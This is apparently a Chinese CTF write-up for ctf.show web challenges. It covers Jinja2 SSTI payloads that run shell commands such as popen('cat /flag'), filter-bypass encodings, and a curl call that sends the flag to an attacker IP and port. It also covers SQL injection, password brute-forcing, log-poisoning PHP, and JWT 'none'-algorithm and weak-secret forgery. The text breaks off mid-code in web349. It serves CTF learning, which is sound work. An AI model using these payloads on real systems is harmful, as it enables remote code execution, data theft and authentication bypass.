__mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__()     返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__             初始化类,返回的类型是function
__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app          应用上下文,一个全局变量。

request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1      get传参
request.values.x1    所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1      post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data         post传参 (Content-Type:a/b)
request.json         post传json  (Content-Type: application/json)
config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

web361

打开页面后显示了 Hello None。猜测可能是要输入name。于是get传参 ?name={{9*9}} ,返回了Hello 81,存在ssti模板注入。

输入 ?name={{"".__class__.__base__}} ,得到了 <class 'object'>

有了 <class 'object'> ,输入 ?name={{"".__class__.__base__.__subclasses__()}},得到object类的子类的集合。

[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class '_random.Random'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class 'Struct'>, <class 'unpack_iterator'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class '__future__._Feature'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class '_ast.AST'>, <class 'ast.NodeVisitor'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'dis.Bytecode'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class 'hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'unicodedata.UCD'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>]

找到 <class 'os._wrap_close'> 的下标132,输入 ?name="".__class__.__base__.__subclasses__()[132] 找到 <class 'os._wrap_close'> ,我们就可以从这个类中找到我们想要的命令。

init初始化类,然后globals全局来查找所有的方法及变量及参数。输入 ?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__}},得到他的所有方法。

输入 ?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('cat /flag').read()}} 就可以任意执行命令了。

web362

可以使用 ?name={{config.__class__.__init__.__globals__['os']}} 得到 os 类。

?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

web363

过滤了引号。可以把'os'换成request.args.a(这里的a可以理解为自定义的变量,名字可以任意设置)

?name={{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag

web364

args 也过滤了。可以将 args 替换为 values

?name={{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag

web365

过滤了 [],可以用 __getitem__() 来替换。

?name={{ config.__class__.__init__.__globals__.__getitem__(request.values.a).popen(request.values.b).read() }}&a=os&b=cat /flag

web366

过滤了 _。使用 attr 获取变量。

""|attr("__class__")
相当于
"".__class__

全部替换一下就好了。

?name={{ (config|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)|attr(request.values.d))(request.values.e).popen(request.values.f).read() }}&a=__class__&b=__init__&c=__globals__&d=__getitem__&e=os&f=cat /flag

web367

同web366

web368

{{}} 也过滤了。用 {%%} 绕过,然后用 print 回显出来。

?name={% print ((config|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)|attr(request.values.d))(request.values.e).popen(request.values.f).read()) %}&a=__class__&b=__init__&c=__globals__&d=__getitem__&e=os&f=cat /flag

web369

request 被过滤。

可以用 ()|select|string,输入 ?name={%print (()|select|string)%} 可以得到 <generator object select_or_reject at 0x7f1f4bb2fa50> ,name使用list将其转化为列表,利用pop函数就可以得到其中的字符。比如下面的代码就会得到 __class__

(()|select|string|list).pop(24)~
(()|select|string|list).pop(24)~
(()|select|string|list).pop(15)~
(()|select|string|list).pop(20)~
(()|select|string|list).pop(6)~
(()|select|string|list).pop(18)~
(()|select|string|list).pop(18)~
(()|select|string|list).pop(24)~
(()|select|string|list).pop(24)

还可以利用 dict()|join ,例如输入 {% print(dict(clas=a,s=b)|join) %} 就可以得到'class'。

通过上述方法来构造 (config.__init__.__globals__.__getitem__("__builtins__")).open("/flag").read()

# '_':
{% set a = (()|select|string|list).pop(24) %}
# '__init__'
{% set init = (a,a,dict(init=a)|join,a,a)|join() %}
# '__globals__'
{% set globals = (a,a,dict(globals=a)|join,a,a)|join() %}
# '__getitem__'
{% set getitem = (a,a,dict(getitem=a)|join,a,a)|join() %}
# '__builtins__'
{% set builtins = (a,a,dict(builtins=a)|join,a,a)|join() %}
# 对包含函数全局变量的字典的引用
{% set x = (q|attr(init)|attr(globals)|attr(getitem))(builtins) %}
# chr()函数
{% set chr = x.chr %}
# file path '/flag'
{% set file = chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103) %}
# 读取flag
{% print(x.open(file).read()) %}

去掉注释就是payload了。

web370

数字被过滤了那么我们就要想办法构造数字出来,可以利用 countlength 来构造数字。count 会返回字符串长度,就可以构造想要的数字。比如说 {{dict(aa=a)|join|count}} ,因为dict(aa=a)|join 的返回结果为 aa ,长度为2,所以他的返回值就为2。然后数字进行拼接就可以任意构造数字。

{% set b = dict(aa=a)|join|count %}
{% set c = dict(aaa=a)|join|count %}
{% set d = dict(aaaa=a)|join|count %}
{% set e = dict(aaaaaaa=a)|join|count %}
{% set f = dict(aaaaaaaa=a)|join|count %}
{% set g = dict(aaaaaaaaa=a)|join|count %}
{% set h = dict(aaaaaaaaaa=a)|join|count %}
{% set a=(()|select|string|list).pop((b~d)|int)%}
{% set init = (a,a,dict(init=a)|join,a,a)|join() %}
{% set globals = (a,a,dict(globals=a)|join,a,a)|join() %}
{% set getitem = (a,a,dict(getitem=a)|join,a,a)|join() %}
{% set builtins = (a,a,dict(builtins=a)|join,a,a)|join() %}
{% set x = (q|attr(init)|attr(globals)|attr(getitem))(builtins) %}
{% set chr = x.chr %}
{% set file = chr((d~e)|int)%2bchr((h~b)|int)%2bchr((h~f)|int)%2bchr((g~e)|int)%2bchr((h~c)|int) %}
{% print(x.open(file).read()) %}

web371

print 被过滤了。

可以通过 curl 来将读取到的flag发送到远程服务器上。

{% set b = (t|count)%}
{% set c = dict(a=a)|join|count %}
{% set d = dict(aa=a)|join|count %}
{% set e = dict(aaa=a)|join|count %}
{% set f = dict(aaaa=a)|join|count %}
{% set g = dict(aaaaa=a)|join|count %}
{% set h = dict(aaaaaa=a)|join|count %}
{% set i = dict(aaaaaaa=a)|join|count %}
{% set j = dict(aaaaaaaa=a)|join|count %}
{% set k = dict(aaaaaaaaa=a)|join|count %}
{% set l = dict(aaaaaaaaaa=a)|join|count %}
{% set m = dict(aaaaaaaaaaa=a)|join|count %}
{% set a=(()|select|string|list).pop((d~f)|int)%}
{% set init = (a,a,dict(init=a)|join,a,a)|join() %}
{% set globals = (a,a,dict(globals=a)|join,a,a)|join() %}
{% set getitem = (a,a,dict(getitem=a)|join,a,a)|join() %}
{% set builtins = (a,a,dict(builtins=a)|join,a,a)|join() %}
{% set x = (q|attr(init)|attr(globals)|attr(getitem))(builtins) %}
{% set chr = x.chr %}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}

利用脚本来转化一下要执行的命令

flag = '__import__("os").popen("curl http://ip:端口号?p=`cat /flag`").read()'


def str_format(string):
    t = ''
    for i in range(len(string)):
        if i != len(string) - 1:
            t += 'chr(' + str_format2(str(ord(string[i]))) + ')%2b'
        else:
            t += 'chr(' + str_format2(str(ord(string[i]))) + ')'
    return t


def str_format2(string):
    string = '(' + chr(int(string[:-1:]) + 98) + '~' + chr(int(string[-1]) + 98) + ')|int'
    return string


print(str_format(flag))

web372

过滤了 count ,将上题的payload的count修改为length即可。

0x0b 黑盒测试

web380

除了index以外还有四个页面,page_1.phppage_4.php。没有源码泄露、robots.txt等内容。

尝试访问 page.php 提示 打开$id.php失败,那么我们传入一个参数 ?id=1 ,报错 Warning: file_get_contents(1.php): failed to open stream: No such file or directory in /var/www/html/page.php on line 20,可以看到直接获取 1.php 的内容,那么直接传入 ?id=flag 就可以了。

web381

访问 page.php 提示 打开page_$id.php失败 ,伪静态,没想到什么截断的办法。

在首页的源码处有后台地址 /alsckdfy/ ,访问得到flag。

web382

访问 /alsckdfy/ 是一个后台登录地址。

猜测存在SQL注入,用户名输入 admin' or 1=1#,随便输入密码,登陆成功拿到flag。

web383

同web382

web384

提示密码前2位是小写字母,后三位是数字,那就生成一个字典然后爆破。

效率好低,,,最后还是看了师傅们爆出的密码。

import string
import requests

url = 'http://2eeffc08-29a9-4ce0-90c4-1f0144a95bdb.challenge.ctf.show:8080/alsckdfy/check.php'

data = {'u': 'admin', 'p': ''}
s1 = string.ascii_lowercase
s2 = string.digits
for i in s1:
    print(i)
    for j in s1:
        for k in s2:
            for l in s2:
                for m in s2:
                    p = i + j + k + l + m
                    data['p'] = p
                    res = requests.post(url, data=data)
                    if 'error' not in res.text:
                        print(res.text)
                        exit(0)

web385

访问 http://url/install 提示需要重新安装请访问install/?install,管理员密码将重置为默认密码,那就访问 http://url/install/?install 重新安装,这里默认账号密码在之前的题中可以注入得到是 admin/admin888 ,访问后台登录即可。

web386

查看 http://caabdbfa-171b-4190-9af8-cfa58bbda2b4.challenge.ctf.show:8080/layui/css/tree.css 可以得到提示 /*如果页面卡顿,可以访问clear.php清理缓存*/

访问 http://url/clear.php?file=./install/lock.dat 删除安装锁定文件,然后重新安装就行了。

web387

访问robots.txt得到 /debug,访问提示file not exist,文件不存在,那传入一个参数 file=/etc/passwd 发现读取文件成功,可能存在文件包含。

UA头写入代码删除lock.dat文件 <?php unlink('/var/www/html/install/lock.dat')?> ,然后包含日志文件 ?file=/var/log/nginx/access.log,之后重新安装就行了。

0x0c jwt

web345

查看源码注释得到提示 /admin ,访问后302跳转到了首页。

在cookie中发现了一段名为auth的 jwteyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2MjYzMjU4MjcsImV4cCI6MTYyNjMzMzAyNywibmJmIjoxNjI2MzI1ODI3LCJzdWIiOiJ1c2VyIiwianRpIjoiZjAyNDk0ZjAzY2M5NzU2YmRkZjg3NmQ2NmM3ZWQ1ZDcifV0

将第一部分header进行解码得到 {"alg":"None","typ":"jwt"} ,payload解码得到 [{"iss":"admin","iat":1626325827,"exp":1626333027,"nbf":1626325827,"sub":"user","jti":"f02494f03cc9756bddf876d66c7ed5d7"}]

  • iss: jwt签发者
  • sub: jwt所面向的用户
  • aud: 接收jwt的一方
  • exp: jwt的过期时间,这个过期时间必须要大于签发时间
  • nbf: 定义在什么时间之前,该jwt都是不可用的.
  • iat: jwt的签发时间
  • jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。

由于没有第三部分的签名验证,所以直接伪造就可以了。

将sub修改为admin,然后base64编码连接起来,修改cookie,访问 /admin 就行了。

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0AW3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2MjYzMjY4ODAsImV4cCI6MTYyNjMzNDA4MCwibmJmIjoxNjI2MzI2ODgwLCJzdWIiOiJhZG1pbiIsImp0aSI6IjlmZDI2ZTQxMzUwODdlOWM1Njg4YWI4ZjFhMjUwMzgzIn1d

web346

解码得到{"alg":"HS256","typ":"JWT"}{"iss":"admin","iat":1626326999,"exp":1626334199,"nbf":1626326999,"sub":"user","jti":"17ad80e0b369e16f606aede4dc8aa73f"}

这次有了第三段的签名验证了。

将alg,也就是加密算法声明就改为none,sub修改为admin
{"alg":"None","typ":"JWT"}{"iss":"admin","iat":1626326999,"exp":1626334199,"nbf":1626326999,"sub":"admin","jti":"17ad80e0b369e16f606aede4dc8aa73f"}

编码得到,访问 /admin 就行了。
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyNjMyNjk5OSwiZXhwIjoxNjI2MzM0MTk5LCJuYmYiOjE2MjYzMjY5OTksInN1YiI6ImFkbWluIiwianRpIjoiMTdhZDgwZTBiMzY5ZTE2ZjYwNmFlZGU0ZGM4YWE3M2YifQ.

web347

347相对于346验证了算法为空的情况,不能修改alg为none了。

所以这里我们就要得到secret来伪造jwt,题目也提示了弱口令,猜测123456,伪造jwt,修改cookie访问 /admin 即可。

在线网站 https://jwt.io/ 加解密jwt。

web348

爆破工具 c-jwt-cracker

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyNjMzMDM4MSwiZXhwIjoxNjI2MzM3NTgxLCJuYmYiOjE2MjYzMzAzODEsInN1YiI6InVzZXIiLCJqdGkiOiI4NWI3MDBjMDc2M2ZiMTMyYTNlZDZlZjcyYTBlZmJiZiJ9.6WtuD5K73Q2dRE4T2y3HF3l_KZHnYmnrgiDdNL_ncRE
Secret is "aaab"

就拿到了secret为aaab,然后直接伪造就行了。

web349

先查看app.js,这里的加密算法不再是HS256,而是RS256,采用 SHA-256 的 RSA 签名。通过代码我们可以看到公私钥的路径是public,可以直接访问下载获取。

router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
});

router.post('/',function(req,res,next){
    var flag="flag_here";
    res.type('html');
    var auth = req.cookies.auth;
    var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
    jwt.verify(auth, cert, function(err, decoded) {
      if(decoded.user==='admin'){
        res.end(flag);
      }else{
